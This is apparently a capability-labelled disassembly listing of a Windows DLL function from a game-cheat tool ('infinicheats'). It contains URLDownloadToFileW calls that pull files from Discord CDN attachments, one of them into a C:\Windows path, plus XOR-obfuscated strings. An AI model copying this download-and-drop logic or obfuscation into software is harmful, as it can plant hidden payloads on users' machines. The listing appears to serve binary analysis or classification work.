Function at 0x180052b80
Capabilities:
Create directory
Download url
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x270
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1800d20c0]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:Windowsleak8
lea rdx, str.https:__cdn.discordapp.com_attachments_1125752354139025512_1196152227459518584_leak8_ex65b69692is65a42192hm66ad624b39028c6b9c102a504d25f563751539185851fe11bc617bc2ca735469
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x180052eb0
mov dword [rsp + 0x44], ebx
mov qword [rsp + 0xf8], rbx
cmp qword [0x1800ed078], rbx
jne 0x180052c01
mov rcx, rdi
call fcn.180053b94
test al, al
je 0x180052e7e
lea rcx, str.rust.temp
mov rax, qword [0x1800ed190]
mov qword [rax + 0x20], rcx
mov dword [rax + 0x1c], 0x56b5e621
mov byte [rax + 0x3a4], bl
cmp qword [0x1800ed2a8], rbx
jne 0x180052cc9
or eax, 0xffffffff
mov dword [rsp + 0x130], eax
mov dword [rsp + 0x134], eax
mov dword [rsp + 0x138], eax
mov dword [rsp + 0x13c], eax
mov dword [rsp + 0x140], eax
or dword [rsp + 0x144], 0xffffffff
mov dword [rsp + 0x148], eax
mov dword [rsp + 0x14c], eax
mov dword [rsp + 0x150], eax
mov dword [rsp + 0x154], 0xfffffffd
mov dword [rsp + 0x158], eax
mov dword [rsp + 0x15c], eax
mov qword [rsp + 0x160], rbx
mov qword [rsp + 0x30], rbx
lea rax, [0x1800ed2a8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x130]
mov r8d, 0x1553f
lea rdx, [0x1800d50d0]
mov rcx, qword [0x1800ed090]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1800ed7c8], rbx
jne 0x180052cd7
call fcn.18001a3dc
call fcn.18001ab80
call fcn.18001f7ec
xor edx, edx
lea rcx, str.C:infinicheats
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x180052d01
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180052d1f
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [0x1800be390]
lea rdx, str.https:__cdn.discordapp.com_attachments_1125752354139025512_1125763785609711666_hit.wav
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
cmp byte [0x1800ed0f0], bl
je 0x180052dee
xorps xmm1, xmm1
movss xmm0, dword [0x1800ecf8c]
ucomiss xmm0, xmm1
jp 0x180052d41
je 0x180052dee
movss xmm0, dword [0x1800ecf88]
ucomiss xmm0, xmm1
jp 0x180052d54
je 0x180052dee
mov rcx, qword [0x1800ed198]
call fcn.180025e84
nop
call fcn.1800145b0
jmp 0x180052d6a
cmp byte [0x1800ed189], bl
je 0x180052dcf
movss xmm6, dword [0x1800c1154]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm6
movaps xmm2, xmm6
lea rcx, [rsp + 0x118]
call fcn.18002d04c
mov qword [rsp + 0x108], rax
movdqu xmm0, xmmword [rax]
movups xmmword [str.ff_], xmm0
movss xmm1, dword [0x1800ed848]
addss xmm1, dword [0x1800c10c4]
movss dword [0x1800ed848], xmm1
comiss xmm1, xmm6
jbe 0x180052dcf
subss xmm1, xmm6
movss dword [0x1800ed848], xmm1
cmp dword [0x1800d31f4], ebx
je 0x180052ddc
call fcn.18004da88
cmp byte [0x1800ea7f8], bl
je 0x180052de9
call fcn.180051e50
call fcn.180025f1c
call fcn.180020d68
call fcn.18002102c
mov rcx, qword [0x1800ed080]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1800ed2a0]
lea edx, [r9 + 1]
call qword [rax + 0x108]
mov rdx, qword [0x1800ed190]
add rdx, 0x1d98
mov al, byte [rdx]
neg al
sbb rcx, rcx
and rcx, rdx
call fcn.1800197f4
mov rdx, qword [0x1800ed190]
mov r8b, byte [rdx + 0x1d98]
lea rax, [rdx + 0x1dc0]
mov ecx, 0x28
test r8b, r8b
cmovne rcx, rax
movss xmm0, dword [rcx]
movss dword [0x1800ecf8c], xmm0
lea rax, [rdx + 0x1dbc]
mov ecx, 0x24
cmovne rcx, rax
movss xmm0, dword [rcx]
movss dword [0x1800ecf88], xmm0
jmp 0x180052e7e
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1800713b0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
movabs rax, 0xc230471a7a756278
mov qword [rsp + 0x50], rax
movabs rax, 0x755af4ba5b21e985
mov qword [rsp + 0x58], rax
movabs rax, 0x6aec67ccad6803cd
mov qword [rsp + 0x60], rax
movabs rax, 0x4795ded6875cd76b
mov qword [rsp + 0x68], rax
movabs rax, 0x1d563e358d2b084b
mov qword [rsp + 0x70], rax
movabs rax, 0x2607bf546d0b1896
mov qword [rsp + 0x78], rax
movabs rax, 0x93d161dce87b8c21
mov qword [rsp + 0x80], rax
movabs rax, 0x83032d7fdf534b97
mov qword [rsp + 0x88], rax
movabs rax, 0x3e777a30bbdf4228
mov qword [rsp + 0x90], rax
movabs rax, 0x7388fd5e92aa2afe
mov qword [rsp + 0x98], rax
movabs rax, 0xb35f77d069e5b1e7
mov qword [rsp + 0xa0], rax
movabs rax, 0x2b1fcc9296449325
mov qword [rsp + 0xa8], rax
movabs rax, 0xfe575255489e36d7
mov qword [rsp + 0xb0], rax
movabs rax, 0xb0e54b5e73c3796f
mov qword [rsp + 0xb8], rax
movabs rax, 0x69b405ea785db1fc
mov qword [rsp + 0xc0], rax
movabs rax, 0x71e57c03fd599340
mov qword [rsp + 0xc8], rax
movabs rax, 0xf28183be8f0169c8
mov qword [rsp + 0xd0], rax
movabs rax, 0x28b506e4dad5e59d
mov qword [rsp + 0xd8], rax
movabs rax, 0xa6297298f8a22214
mov qword [rsp + 0xe0], rax
movabs rax, 0xaae74c553554276d
mov qword [rsp + 0xe8], rax
movabs rax, 0xc254476e7a006217
mov qword [rsp + 0x1b0], rax
movabs r13, 0x753ef4df5b55e9e4
mov qword [rsp + 0x1b8], r13
movabs r12, 0x6a8067bcad4803e1
mov qword [rsp + 0x1c0], r12
movabs r15, 0x47f0dea5873dd70e
mov qword [rsp + 0x1c8], r15
movabs r14, 0x1d213e5a8d4f086b
mov qword [rsp + 0x1d0], r14
movabs rsi, 0x2666bf3b6d6718f8
mov qword [rsp + 0x1d8], rsi
movabs rdi, 0x93b961a8e85b8c45
mov qword [rsp + 0x1e0], rdi
movabs rbx, 0x83662d11df734bf2
mov qword [rsp + 0x1e8], rbx
movabs rax, 0x3e127a46bbff425f
mov qword [rsp + 0x1f0], rax
movabs rax, 0x73e7fd3792d92a8c
mov qword [rsp + 0x1f8], rax
movabs rax, 0xb33677b469c5b189
mov qword [rsp + 0x200], rax
movabs rax, 0x2b6dccfd96279356
mov qword [rsp + 0x208], rax
movabs rax, 0xfe30523248b036b3
mov qword [rsp + 0x210], rax
movabs rax, 0xb0934b13738b7940
mov qword [rsp + 0x218], rax
movabs rax, 0x69f505807808b18d
mov qword [rsp + 0x220], rax
movabs rax, 0x71c57c69fd1c933a
mov qword [rsp + 0x228], rax
movabs rax, 0xf2ed839e8f7369a7
mov qword [rsp + 0x230], rax
movabs rax, 0x28c3068fdabbe5f4
mov qword [rsp + 0x238], rax
movabs rax, 0xa64072ecf8d02271
mov qword [rsp + 0x240], rax
movabs rax, 0xaae74c553531271e
mov qword [rsp + 0x248], rax
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rsp + 0x1c0]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rsp + 0x80]
xorps xmm1, xmmword [rsp + 0x1e0]
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [rsp + 0xa0]
xorps xmm1, xmmword [rsp + 0x200]
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rsp + 0x210]
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmm1, xmmword [rsp + 0xc0]
xorps xmm1, xmmword [rsp + 0x220]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rsp + 0x230]
movdqa xmmword [rsp + 0xd0], xmm0
movdqa xmm1, xmmword [rsp + 0xe0]
xorps xmm1, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0xe0], xmm1
mov r9d, 0x10
lea r8, str.outdated
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movabs rax, 0xb63c671a08611664
mov qword [rsp + 0x130], rax
movabs rax, 0x1c52dbf061269990
mov qword [rsp + 0x138], rax
movabs rax, 0xfe715ddd965688f
mov qword [rsp + 0x140], rax
movabs rax, 0x72c2f1d1e253f97a
mov qword [rsp + 0x148], rax
movabs rax, 0x7b4f5775bd7d3c5d
mov qword [rsp + 0x150], rax
movabs rax, 0x4902d357090e7691
mov qword [rsp + 0x158], rax
movabs rax, 0x93b905c78937e232
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], rbx
movabs rax, 0xc254476e7a006217
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], r13
mov qword [rsp + 0x180], r12
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], r14
mov qword [rsp + 0x198], rsi
mov qword [rsp + 0x1a0], rdi
mov qword [rsp + 0x1a8], rbx
movdqa xmm0, xmmword [rsp + 0x130]
xorps xmm0, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x130], xmm0
movdqa xmm1, xmmword [rsp + 0x140]
xorps xmm1, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0x140], xmm1
movdqa xmm0, xmmword [rsp + 0x150]
xorps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x150], xmm0
movdqa xmm1, xmmword [rsp + 0x160]
xorps xmm1, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x160], xmm1
lea rcx, [rsp + 0x130]
call fcn.18007e0d0
xor ecx, ecx
call fcn.18008758c
nop
int3